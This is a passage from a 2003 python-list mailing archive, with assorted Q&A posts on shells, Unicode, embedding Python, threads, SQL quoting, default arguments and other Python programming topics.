References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <oPr_9.108013$0v.3123750@news1.tin.it>
Message-ID: <20030131105843.K18606@localhost.localdomain>

On Fri, Jan 31, 2003 at 10:00:52AM +0000, Alex Martelli wrote:
> Andy Freeman wrote:
>    ...
> > Which should I prefer - theory or practice?  Yes, theory can be better,
> 
> In theory, theory is preferable, but, in practice, I'd prefer practice.

+1 QOTW





From hancock at anansispaceworks.com  Fri Jan 24 20:28:34 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sat, 25 Jan 2003 01:28:34 GMT
Subject: Shell chauvinism ;-D, was Re: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <b0sl7s$33fc$1@nntp6.u.washington.edu>
Message-ID: <6LlY9.1314$d66.143806@newsread1.prod.itd.earthlink.net>

Donn Cave wrote:
> Secondly, I think you would be better off to use 'sh' as the shell
> (and of course use Bourne shell syntax in the shell commands --
> ">& megane.log" -> "> megane.log 2>&1".)  sh is universally supported
> on UNIX and similar platforms, and it's ordinarily better software
> than tcsh for anything but interactive use (if that.)

It's a funny thing, these cultural biases: I learned Unix as an astronomy 
student, and have worked in astronomy departments and institutions of one 
kind or another for most of my career (about 15 years?). I have *never* 
seen a sh/bash script written by any one of my colleagues, *never* seen a 
computer that didn't have csh or tcsh installed, and *never* worked for a 
site that didn't install csh or tcsh *by default* for all users.

For the first time, last year I saw a sh script provided as an 
*alternative* for installing astronomical software.  Also, despite 
assurances from CS types that tcsh should *never* be used as a programming 
language, I have seen multi-thousand line installation scripts written in 
it.  In fact, I think perl is probably more common than sh here (of course, 
Larry Wall used to work for my present employer back when he wrote perl).

So, really, in my world, tcsh is a stronger standard than sh is.  I've 
often wondered how this rift came to be, and who exactly it is that uses sh 
all the time, and why it never caught on with the groups I've been in.

Whether this is, in absolute terms, a good thing, is a separate issue, but 
it will definitely make my client happier to be able to read what the 
script does. ;-D

I'll consider it anyway, though, as this script *is* meant to go further 
than the astronomical community. I've often wondered how this rift came to 
be, and who exactly it is that uses sh all the time, and why it never 
caught on with the groups I've been in.

Also, is there a shell-interpreter implemented in Python?  It'd be kind of 
cool to be able to run a multi-line script and interpret each instruction 
in the *same* sub-process (i.e. keeping state between them).  My first go 
at this was using os.system() to do that, but then I realized I was getting 
a new process each time, so that:

os.system("cd mysubdir")
os.system("do_something_in_mysubdir")

didn't make any sense.

I realize that in a limited sense, the python interpreter itself could be 
considered so, but:

os.chdir("./Log")

lacks something in both clarity and brevity against

cd ./Log

Anyway, thanks for the ideas!

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From meinrad.recheis at gmx.at  Mon Jan 20 09:18:16 2003
From: meinrad.recheis at gmx.at (hénon)
Date: Mon, 20 Jan 2003 15:18:16 +0100
Subject: PIL: loading _imaging fails allthough it s there
References: <b0f49t$iig$1@news.tuwien.ac.at> <DUFW9.40704$Hl6.4834388@news010.worldonline.dk>
Message-ID: <b0h0e1$h4d$1@news.tuwien.ac.at>

not shure. Thats why im posting here!
regards Meinrad Recheis

"Max M" <maxm at mxm.dk> wrote in message
news:DUFW9.40704$Hl6.4834388 at news010.worldonline.dk...
> meinrad recheis wrote:
> > Hi,  please give me some hint for that problem:
> >
> > PIL Image() says it can not find the _imaging module, but
> > _imaging.pyc is there. i used help() to display all modules and it was
> > listed.
> > then i tried to get help for _imaging i got this error message:
> > "problem in _imaging - ImportError: DLL load failed: The specified
module
> > could not be found."
>
>
> Shure you got the right version?
>
> regards Max M
>
>
> --
>
> hilsen/regards Max M
>
> http://www.futureport.dk/
> Fremtiden, videnskab, skeptiscisme og transhumanisme
>





From Loko at caramail.com  Fri Jan 17 03:24:31 2003
From: Loko at caramail.com (Loko)
Date: 17 Jan 2003 00:24:31 -0800
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com> <b06dll$kim$1@terra.news.tehnicom.net>
Message-ID: <399d6c30.0301170024.8142cbf@posting.google.com>

Danilo S(egan <dsegan at STOPSPAM.gmx.net> wrote in message news:<b06dll$kim$1 at terra.news.tehnicom.net>...

> If I misunderstood, and you needed to convert seconds to fraction of 
> hours, days, and so forth (but just one of them)

that's what I needed.

>  you use the builtin 
> float type:
> 
>  >>> seconds=3445561.0
>  >>> mins=seconds/60
>  >>> hours=mins/60
>  >>> days=hours/24
>  >>> years=days/365.2422
>  >>> (seconds,mins,hours,days,years)
> (3445561, 57426.01666666667, 957.10027777777782, 39.879178240740742, 0.10918557122024986)


This is not exactly what I wanted,I want integers. Thus I wrote : 

   def Fract_Sec(s):
       temp = float()
       temp = float(s) / (60*60*24)
       d    = int(temp)
       temp = (temp - d) * 24
       h = int(temp)
       temp = (temp - h) * 60
       m = int(temp)
       temp = (temp - m) * 60
       sec = temp
       return d,h,m,sec
   #endef Fract_Sec

   s = 3445561.0
   d,h,m,s = Fract_Sec(s)
   print d,"days ",h,"hours",m,"mn",s,"sec."

   >>> 
   39 days  21 hours 6 mn 1.00000000015 sec


But I may need similar functions, fractionning level n into int(levels
n-1)+level n.
(that is, hours in days+hours, minutes into days,hours and minutes,
etc ...)

and also reverse ones (hours in minutes, in secondes).

Thoses functions are not really difficult to write but I think they
should be added into an official module.

However, I'll install v2.3 and check that datetime module.

Thanx.
Loko



From troy at gci.net  Tue Jan 21 15:45:53 2003
From: troy at gci.net (Troy Melhase)
Date: Tue, 21 Jan 2003 11:45:53 -0900
Subject: ZEO/wxPython
References: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au>
Message-ID: <v2rc11pjt9bn3e@corp.supernews.com>

When you say "a ZEO client using wxPython" I assume you mean that you want a 
wx app that uses ZEO to load and save data.  If that assumption isn't 
correct, please let me know.

That said, I have a wxPython app that uses ZEO, and haven't had any 
problems.  The only issue I've encountered is high CPU utilization when 
saving lots of data via ZEO.  I'm pretty sure that behavior is specific to 
my applications data and the methods I use to store them.

My suggestion is to code normally, and only worry about problems when you 
find them.  :)

Good luck,
troy

"Mike Thompson" <none> wrote:

> 
> I'm interested in writing a ZEO client using wxPython. Is this possible?
> 
> Would their event loops have to be unified?
> 
> Any pointers gratefully accepted. I can find nothing on this despite
> vigious googling.
> 
> Many Thanks,
> Mike.




From moz at skilic.com  Sun Jan  5 19:20:25 2003
From: moz at skilic.com (Serdar Kilic)
Date: Mon, 6 Jan 2003 11:20:25 +1100
Subject: Python vs .Net
In-Reply-To: <32ZR9.60$Xy5.5595271@mantis.golden.net>
Message-ID: <005701c2b519$7f704830$0100a8c0@bidi>

Mono has the C# compiler ready (called mcs):
http://www.go-mono.org/c-sharp.html
They've also done considerable work with the class libraries:
http://www.go-mono.org/class-status.html


--
Kind Regards,
 Serdar K. | http://www.kilic.net/

>-----Original Message-----
>From: python-list-admin at python.org 
>[mailto:python-list-admin at python.org] On Behalf Of Etienne Charland
>Sent: Monday, 6 January 2003 3:21 AM
>To: python-list at python.org
>Subject: Re: Python vs .Net
>
>
>Do you have an idea of when MONO will be ready? And when there 
>will be a good code editor with it?
>
>"Serdar Kilic" <moz at skilic.com> wrote in message 
news:mailman.1041757635.32193.python-list at python.org...
> .net is a framework. There are languages that target this framework 
> (e.g. C#, VB.NET, Python.NET). It is also not solely for MS Windows; 
> see www.go-mono.org





From bokr at oz.net  Fri Jan 10 13:01:46 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 18:01:46 GMT
Subject: invoking multiple methods (Was: Python vs. Ruby)
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org> <avkv6i$38k$0@216.39.172.122> <x77kddt3pl.fsf@guru.mired.org>
Message-ID: <avn1qa$gv6$0@216.39.172.122>

On Fri, 10 Jan 2003 15:38:27 GMT, Mike Meyer <mwm at mired.org> wrote:

>bokr at oz.net (Bengt Richter) writes:
>
>> On Thu, 09 Jan 2003 15:57:38 GMT, Mike Meyer <mwm at mired.org> wrote:
>> >Erik Max Francis <max at alcyone.com> writes:
>> >
>> >> "Stuart D. Gathman" wrote:
>> >> >   aList.sort();.reverse()       # aList.sort(); aList.reverse()
>> >> > A statement cannot begin with '.', so ';.' means to invoke another
>> >> > method
>> >> > on the same object.
>> >> But is this awkwardness really worth it?  One of Python's truly great
>> >> assets is its transparently readable code.  I'm opposed on general
>> >> principle to anything which defeats that.
>> >
>> >True. However, the idea of specifying multiple methods on the same
>> >object is consistent with recent changes (op=, for instance), and
>> >seems useful enough to be worth writing a PEP for - *if* a readable
>> >syntax can be invented for it.
>> >
>> >I don't like ;.. I'm not sure I like the idea of tweaking the
>> >semantics of statement at all. Maybe something like:
>> >
>> >        aList.(sort(), reverse())
>> >
>> >Almost like using a tuple as the method, and it does all the
>> >invocations in the tuple. Except it isn't a real tuple, because the
>> >methods aren't reall calls.
>> 
>> I'd rather reserve the xxx.(something) syntax for an alternate spelling
>> of getattr(xxx, something), where something is an expression resulting in a string.
>
>I think the multiple call shorthand is better than the getattr
>shorthand. If I only get one, I want multiple calls. Or is there
>already a PEP for the getattr shorthand?
Not that I know of. It just seemed natural ;-)

But your idea is growing on me. If you take the sequence to be args of a kind
of repeating text macro, where obj.(xxx,yyy,zzz) => obj.xxx; obj.yyy; obj.zzz
you would have a kind of "with" e.g.,

    obj.(
        a=123,
        foo(),
        x
    )
=>
    obj.a=123
    obj.foo()
    obj.x

Don't take too seriously ;-)

>
>> How about getting your parens without a dot, using __call__ and passing bound methods?
>
>The whole point is to avoid having to list the bound object multiple
>times, so no, that doesn't buy you anything.
>
You didn't comment on the alternative of passing _unbound_ methods
(or concise aliases, which I thought looked pretty clean) ;-)

I.e.,

    aList(sort, reverse)

"and you can do it now"(TM) ;-)

Regards,
Bengt Richter



From martin at v.loewis.de  Tue Jan 21 20:25:08 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 22 Jan 2003 02:25:08 +0100
Subject: os.system and unicode arguments fail on Win32
References: <d6kk0b.vfh1.ln@boundary.tundraware.com> <m3bs2a8409.fsf@mira.informatik.hu-berlin.de> <9dqk0b.aii1.ln@boundary.tundraware.com>
Message-ID: <m365si7z7v.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

> > This will change in Python 2.3. In many cases, Python 2.2 will also
> > accept Unicode strings in file system API on Windows. For Python 2.3,
> > and NT+, all Unicode strings are usable as file names.
> > This still does not include os.system, or environment variables.
> 
> What is the restiction here that prevents 2.3 from doing things
> the same way with these portions of the OS.

I have problems parsing this sentence. Is this a question?

> Incidentally, it seem strange to me that Win32 is inherently
> a unicode environment but os.system (which presumably mapps
> to some Win32 API) has trouble with unicode strings...-

If you are asking why Python 2.3 won't support Unicode strings to
os.system? Primarily, because nobody has contributed code to do so. Do
you volunteer?

Looking more closely, you will find that os.system is a wrapper around
the C library function system(), which does not support
Unicode?. Internally (i.e. in the Microsoft C library), system() calls
the ANSI variants of the Win32 API, which then internally (i.e. in the
operating system code) call the Unicode variants on NT+.

Getting rid of these layers of indirection might account to a complete
reimplementation of the C library part that does os.system. Add to
that the difficulties of using the Unicode Win32 API on W9x.

> Do you happen to have a URL (or better still, a programmatic method)
> whereby I might determine the native encodings for various systems?

In Python 2.3, locale.getpreferredencoding() should always return the
encoding that users are likely to use for text data. It uses:
- getdefaultlocale()[1] on Windows (and also on the Mac, although
  that isn't implemented for OS X in Python 2.2),
- locale.nl_langinfo(locale.CODESET) for POSIX systems, provided
  they have both nl_langinfo and CODESET,
- getdefaultlocale()[1] on POSIX systems if nl_langinfo doesn't work.

getdefaultlocale, in turn, uses:
- GetACP() on Windows (printing it as cp%d),
- GetScriptVariable(script, smScriptLang) on Mac OS 9,
- CFStringGetSystemEncoding() (potentially followed
  by CFStringConvertEncodingToIANACharSetName()) on Mac OS X?
- environment variables on all other systems.

Notice that, on Windows, there are *two* native encodings: the ANSI
code page (what the ANSI Win32 API expects, and which is used in the
windowing system), and the OEM code page (which the FAT file system
uses on disk, and the command.com/cmd.exe terminal windows, unless
setcp.exe is invoked)

Also notice that, on OS X, the encoding used on for file names is
always UTF-8, regardless of what CFStringGetSystemEncoding() returns.
This is true atleast for the BSD POSIX layer of API calls; higher
layer API calls may use different encodings.

Regards,
Martin

? There might be a Microsoft extension _wsystem; I haven't checked.
? for Python 2.3 only



From martin at v.loewis.de  Fri Jan 24 21:30:06 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:30:06 +0100
Subject: tkinter + unicode + bug or feature??
In-Reply-To: <3E319B8C.8020801@kootenay.com>
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com>
Message-ID: <b0ssrc$mqt$00$1@news.t-online.com>

Bob van der Poel wrote:
> Okay. I'll have to look at the MegaWidget stuff later. I'm just thinking 
> that doing something like string=entrywidget.get().encode('iso8859-1') 
> should do the trick. Not sure, though, what encoding to use. Is there a 
> pythonic way to determine the best to use?

Encoding the Unicode string should work, as would comparing it to other 
Unicode strings - you should try to eliminate all non-ASCII byte strings 
that represent text; then you can happily compare text strings.

There is really no way anybody could tell you what encoding to use: YOU 
should know what encoding your text strings have - how could we possibly 
know?

If you want to find out what encoding the user is likely to use, you 
should use locale.nl_langinfo(locale.CODESET) on POSIX systems, and 
locale.getlocale()[1] on Windows.

Regards,
Martin




From tchur at optushome.com.au  Tue Jan  7 12:05:33 2003
From: tchur at optushome.com.au (Tim Churches)
Date: 07 Jan 2003 07:05:33 -1000
Subject: Numeric array and for loops problem
In-Reply-To: <c5598079.0301060856.4012672b@posting.google.com>
References: <c5598079.0301060856.4012672b@posting.google.com>
Message-ID: <1041959144.1261.5.camel@emilio>

On Mon, 2003-01-06 at 06:56, Stan wrote:
> Hi all
>  I've made the following pice of code
> 
> 		try:
> 			f = open(os.path.join("xxx", fname))
> 		except IOError:
> 			print "no such a file"
> 		else:
> 			lines = f.readlines()					
> 			worldy = len(lines)
> 			worldx = len(lines[0])/2
> 			worldarray = Numeric.zeros((worldy,worldx))
> 			y = -1 #***because arrays starts at 0***
> 			for line in lines:
> 				y += 1
> 				vals = split(line)
> 				x = -1  #***same as y***
> 				for val in vals:
> 					x += 1
> 					worldarray[x,y] = val
> 			f.close()
> 
> It should read some strings from a file and insert their value into
> worldarray
> The file is so strocturated:
> Some string of numbers (all same lenght) all separated by whitespace.
> But python give me this message error!!! I really can't understand
> where's the matter? It's not possible such an assignment?
> worldarray[x,y] = val
> ValueError: array too large for destination

You need to convert val into a numeric value before assigning it to your
Numeric array. Remember that split() is a string method, operating on
the string line, and returns a sequence of strings in vals. So val is a
string. eg 

worldarray[x,y] = int(val)

Its also a good idea to explicitly set the typecode of the array when
you create it, using the typecode= argument to the array constructors.

Tim C

> -- 
> http://mail.python.org/mailman/listinfo/python-list






From donnalcwalter at yahoo.com  Thu Jan  2 12:01:21 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 2 Jan 2003 11:01:21 -0600
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com>
Message-ID: <av1r7d$j3l$1@main.gmane.org>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1467EE.93860EC4 at engcorp.com...
> Another very useful one has been to start using
> an "issue tracker" to track all issues with the
> project, and to prioritize them aggressively, in
> order to limit scope creep.

What tool(s) do you use for issue prioritizing and tracking? I've tried to
do something similar using just a text file, but it is becoming unwieldy.

Donnal Walter
Arkansas Children's Hospital








From martin at v.loewis.de  Sun Jan 12 05:02:26 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 12 Jan 2003 11:02:26 +0100
Subject: XML/DTD
References: <avqe0l$hr51@news.vtx.ch>
Message-ID: <m3lm1q1ya5.fsf@mira.informatik.hu-berlin.de>

Cedric Dutoit <dutoitc at hotmail.com> writes:

> I checked xml.parsers.xmlproc, but it appears that whith this package
> I can only read DTD files.

That is not true. It can also parse XML files. You can combine it with
SAX; use xml.sax.sax2exts.XMLValParserFactory to create validating SAX
parsers.

Regards,
Martin



From exarkun at intarweb.us  Wed Jan 29 18:37:05 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 29 Jan 2003 18:37:05 -0500
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <v4WZ9.3245$nD1.766715@news20.bellglobal.com>
References: <v4WZ9.3245$nD1.766715@news20.bellglobal.com>
Message-ID: <20030129233705.GA31533@meson.dyndns.org>

On Wed, Jan 29, 2003 at 02:43:38PM -0500, Luc wrote:
> Hello fellow python user :)
> 
> I'm quite new to this so please be kind to my newbie question !!!
> 
> I'm trying to embed python in my C++ application. I have a python source 
> file names test.py and what I want to do is first try to compile it to 
> see if any syntax error or import error occurs.  I tried to use 
> Py_CompileString but it seems not to work. I added a syntax error and it 
> still report no error. Now I just thought that because it's interpreted, 
> does it mean that the error is caught until the script is actually run 
> ??? If so, is there any method that I could use to detect such error 
> without resorting to running the script ???
> 

  It's impossible to say what's going wrong without seeing at least a
minimal sample of your code.  Can you post the shortest snippet possible
that completely duplicates the behavior you believe to be incorrect?  If so,
we can look at it and point out in particular where your expectations don't
coincide with the actual behavior.

  Jp

-- 
|     This 
|   signature
| intentionally
|    8 lines
|     long.
|  (So sue me)
---
-- 
 up 45 days, 3:49, 3 users, load average: 0.00, 0.07, 0.11
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/16a99694/attachment.sig>

From jack at performancedrivers.com  Sat Jan 25 04:46:48 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Sat, 25 Jan 2003 04:46:48 -0500
Subject: embedding python, missing symbols
Message-ID: <20030125044648.B18606@localhost.localdomain>

I can't seem to make gcc happy

using the example main() from the embedding docs and doing

gcc -I<path to Python.h> ./libpython2.2.a example.c

gives the following error

/tmp/ccBiGJVU.o: In function `main':
/tmp/ccBiGJVU.o(.text+0x2d): undefined reference to `Py_Initialize'
/tmp/ccBiGJVU.o(.text+0x3d): undefined reference to `PyString_FromString'
/tmp/ccBiGJVU.o(.text+0x50): undefined reference to `PyImport_Import'
<snip, more of the same>
/tmp/ccBiGJVU.o(.text+0x299): undefined reference to `Py_Finalize'

./libpython2.2.a is a hard link to the one installed in /usr/local 

I tried with python2.2 and 2.3a1
I tried with gcc 2.96 and 3.0.4

redhat 7.1 with recompiled pythons and gccs

grepping the libpython* binaries shows a match for all the symbols

similar errors on groups.google are because the libpython*.a wasn't
included.  I am including the lib ... gcc just doesn't care.

I must be missing something obvious, please let me know what it is!

btw, mod_python and other things compile happilly on the same machine.

TIA,

-jackdied




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 11:12:34 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 08:12:34 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <7x3cni1sqp.fsf@ruckus.brouhaha.com> <mailman.1043424035.17589.python-list@python.org>
Message-ID: <7xisweedcd.fsf@ruckus.brouhaha.com>

Skip Montanaro <skip at pobox.com> writes:
>     >> You lose. There is no way to cancel a thread, period.
> 
>     Paul> Is there some inherent reason for that?  
> 
> Not all threads packages on which Python runs implement the desired
> functionality.

Well, there's all kinds of functionality that some OS's implement and
others don't.  Python should use the functionality when it's
available.



From wurmy at earthlink.net  Mon Jan 13 17:28:52 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Mon, 13 Jan 2003 22:28:52 GMT
Subject: Extracting int from string
References: <avvd1l$ee7$1@news.efn.org>
Message-ID: <3E233E70.9090700@earthlink.net>

Spencer Ernest Doidge wrote:
> What would be the best way to extract the integer value 45 from the following string?
> 
> 'X=   45   A'

For this string:

 >>> s = 'X=   45   A'
 >>> parts = s.split()
 >>> parts
['X=', '45', 'A']
 >>> int(parts[1])
45

But if you have other strings where whitespace is used differently, e.g. 'X = 
45 A', then you might be better off using a regular expression.

HTH,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From max at alcyone.com  Fri Jan 31 23:14:24 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 20:14:24 -0800
Subject: Setting a Global Default for class construction?
References: <b1erj009ok@enews3.newsguy.com>
Message-ID: <3E3B49A0.2DCF7F0@alcyone.com>

Josh English wrote:

> Here is the code that I am struggling with in a Python module:
> 
> _Thing = "it"
> 
> def SetThing(s):
>         global _Thing
>         _Thing = str(s)
> 
> class NewThing:
>         def __init__(self,thing=_Thing):
>                 self.Thing = _Thing

This binds the default parameter thing to the _current value_ of _Thing,
which is the string 'it'.  Default parameter values are "global" in that
they are not reevaluated after the initial declaration, so that default
parameter will always be that 'it' string.  If you want it to truly be
dependent on the current value of _Thing, try something like:

	def __init__(self, thing=None):
	    if thing is None:
	        thing = _Thing
	    self.Thing = thing

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The basis of optimism is sheer terror.
\__/ Oscar Wilde
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From johngw at attbi.com  Wed Jan 29 11:51:18 2003
From: johngw at attbi.com (John Griffin-Wiesner)
Date: Wed, 29 Jan 2003 16:51:18 GMT
Subject: Trouble with KeyboardInterrupt exception
Message-ID: <slrnb3g1k6.rre.johngw@rubicon.stillrunning.com>

I'm seeing strange behavior when catching EOFError and
KeyboardInterrupt in the same try sequence.  A really
short program that shows my problem is below.

When using it, one time press "ctrl-C" first, and notice
that it works as expected.

Then another time, press "ctrl-D", which works fine, but
after that, a "ctrl-C" does not work right.

I've tested on python 2.2.1, and 2.3.? and it acts the same
on both.  It does not have this problem on python 1.5.2.
(All tests done on linux.)  Swapping the order of the
exceptions has no effect.

I'm pretty new to python so I'm probably doing something
really dumb.  Any help is appreciated.


Here's what I see when running it.  The first time giving
it ctrl-C first, the second time I gave it two ctrl-D's,
then a ctrl-C.

$ test.py
Type here: ctrl-C caught

$ test.py
Type here: EOF character caught
Type here: EOF character caught
Type here: Traceback (most recent call last):
  File "/tmp/test.py", line 8, in ?
    input = raw_input("Type here: ")
KeyboardInterrupt
$ 


--test.py-------------------------------
#!/usr/bin/python2

import sys

input = ""
while not input:
      try:
              input = raw_input("Type here: ")
      except EOFError:
              print "EOF character caught"
      except KeyboardInterrupt:
              sys.exit("ctrl-C caught")
print input

----------------------------------------


-- 
John Griffin-Wiesner
johngw @ attbi.com

   It said, "Windows 95 or better," so I installed Linux.



From markus_wankus at hotmail.com  Sun Jan 12 21:16:44 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sun, 12 Jan 2003 21:16:44 -0500
Subject: Python COM and bitmap Resource ID's
In-Reply-To: <_EmU9.4877$UB4.22110@news-server.bigpond.net.au>
References: <opriuzx8u98cxiwf@news1.on.sympatico.ca> <opriv9zzvn8cxiwf@news1.on.sympatico.ca> <_EmU9.4877$UB4.22110@news-server.bigpond.net.au>
Message-ID: <opriw1x6rn8cxiwf@news1.on.sympatico.ca>

On Sun, 12 Jan 2003 23:14:02 GMT, Mark Hammond <mhammond at skippinet.com.au> 
wrote:

> I think you will be pushing poo uphill here.  You pass the resource ID to 
> the app, but how do you pass the DLL handle or filename?  Would it be 
> possible to create a DLL with nothing but resources?
>

Well, normally, creating an "addin" for this software package is done 
through a .dll only, so it is taking the the resource ID of the addin which 
made the connection.  I happen to be doing this with COM and Python, so 
there is my problem.  I can only assume it would be trying to use the 
pythoncom22.dll in my case.  Perhaps I could add some bitmap resources to 
it with a resource hacker?

There is a function to call before you can do anything useful (called 
SetAddinCallbackInfo) where you specify the handle and object which will be 
providing the functions for any toolbar or menu events.  I am passing my 
own Python COM object to this, and sucessfully getting the callbacks to 
execute my Python code.  This is probably where it is looking for resources 
as well, and eventually getting to pythoncom22.dll I would imagine.

> Note that win32ui.pyd does have bitmap resource in it, so if you can work 
> out how it works out what DLL it uses, you could first experiment with 
> this.

Hmm...I'm not sure this will help - but I will continue to dick around.  I 
usually spend most of my time pushing the proverbial 'poo' uphill, and 
eventually realize how obvious the answer is when I do figure out a 
solution....  Thanks for the reply!

-- 
Markus



From widukind at hushmail.com  Thu Jan 16 17:09:03 2003
From: widukind at hushmail.com (Widukind)
Date: Thu, 16 Jan 2003 23:09:03 +0100
Subject: Newbe: Python Exercise
References: <XUEV9.2900$zH5.176@nwrddc03.gnilink.net>
Message-ID: <b07alr$7hl$07$1@news.t-online.com>

pavs wrote:

> Hi, I want to know if this is what it meant, when it asked for
> "Concatenate"? If not, isn't this another way to do it?

I think what it meant was to join two strings so the result is one string,
without any spaces.
For example if str1 is 'abc' and str2 'def' the result should be 'abcdef'.
You can do that like this:
print "str1 + str2 = %s" % str1 + str2
Pretty straight forward, isn't it.

> Is there any other online book you guys would recommend?

Personally, I've found the Python Tutorial by Guido van Rossum very good.
You can find it in the Python Documentation (www.python.org/doc/).

Regards






From bk at whack.org  Mon Jan 13 20:21:53 2003
From: bk at whack.org (Brian Kranson)
Date: 13 Jan 2003 17:21:53 -0800
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <200301131652.h0DGqBjL005432@ratthing-b246.strakt.com> <mailman.1042479811.30596.python-list@python.org>
Message-ID: <1964c4d7.0301131721.7de86073@posting.google.com>

you guys are wonderful.  thank you very much for all the help.  i feel
i have learned a great deal today - maybe more than the time it took
me to write my (not so well written) script =)  hope you all have a
great day! -Bk



From member21858 at dbforums.com  Tue Jan  7 09:45:14 2003
From: member21858 at dbforums.com (keithk)
Date: Tue, 07 Jan 2003 14:45:14 +0000
Subject: Help: Omitting quotes from SQL Queries.
Message-ID: <2356598.1041950714@dbforums.com>

Hi All,

I am using an mx.ODBC connection to MSSQL and am iterating through a
list to get data from the DB, for eg:

for fileName in fileNameList:
        cursor.execute("SELECT fileSize FROM database where
        database.filename = '%s'" % fileName)
        fileSizes = cursor.fetchall()

However, when it iterates through the list and fileName equals something
like "Hello World's" with a single quote inside the query fails as the
string is ended prematurely, does anybody know how I can solve this?

Thanks in advance,

Keith

--
Posted via http://dbforums.com



From tim.one at comcast.net  Mon Jan 13 19:53:56 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 13 Jan 2003 19:53:56 -0500
Subject: Stackless Python, Tail Recursion and Functional   Programming
In-Reply-To: <3E234F13.60109@tismer.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEGIDIAB.tim.one@comcast.net>

[beno]
> So..my question du jour...
>
> ***
> Does stackless python optimize tail recursion?
> ***

[Tim]
> It does not.

[beno]
> Darn. The truth hurts ;)

[Christian Tismer]
> Always believe in Tim.
> He's always telling the truth.

Except when I'm paid not to -- but nobody is paying me enough for that these
days.  Ouch -- truth *does* hurt <wink>!

> until-I-change-it- ly y'rs -- chris

I heartily approve of your plans to change the truth about nothing faster
than CPython being possible.  I wouldn't start that by worrying about tail
recursion, though.

if-god-didn't-like-loops-he-wouldn't-have-given-guido-absolute-
    power-ly y'rs  - tim





From p-abel at t-online.de  Sat Jan 25 16:45:51 2003
From: p-abel at t-online.de (Peter Abel)
Date: 25 Jan 2003 13:45:51 -0800
Subject: extending objects (object-specific subclassing)
References: <mailman.1043501925.18338.python-list@python.org>
Message-ID: <13a533e8.0301251345.4118ad15@posting.google.com>

David Garamond <davegaramond at icqmail.com> wrote in message news:<mailman.1043501925.18338.python-list at python.org>...
> in ruby you can "subclass an object". that is, you override and/or add 
> methods specific to an object, not for the entire class. an example below:
> 
>   a = "hello"
>   b = a.dup # b becomes another String object with the value of "hello"
> 
>   def b.to_s
>     "The value is '#{self}'"
>   end
> 
>   puts a.to_s # hello
>   puts b.to_s # The value is 'hello'
> 
> behind the scene, ruby creates a new class just for the object a. the 
> original a's class, String, will be the new class' superclass. ruby 
> hides this, though, so you'll still see a as being the String object.
> 
>   puts a.class # String
>   puts b.class # String
> 
> i wonder if python has a similar concept. or how do we do something 
> roughly similar in python.

I never heard about subclassing objects in python.
But method-overriding and -adding is possible:
>>> class A:
... 	def func(self):
... 		print 'classA.func()'
... 
>>> def fn():
... 	print 'instance.func()'
... 
>>> def new_func():
... 	print 'A new func()'
... 
>>> a=A()
>>> a.func()
classA.func()
overriding A.func() with fn()
>>> a.func=fn
>>> a.func()
instance.func()
overriding a.func() with class.method A.func()
>>> a.func=A().func
>>> a.func()
classA.func()
adding a new method nf()
>>> a.nf=new_func
>>> a.nf()
A new func()
>>> 
Regards
Peter



From R.Brodie at rl.ac.uk  Thu Jan  2 07:35:57 2003
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Thu, 2 Jan 2003 12:35:57 -0000
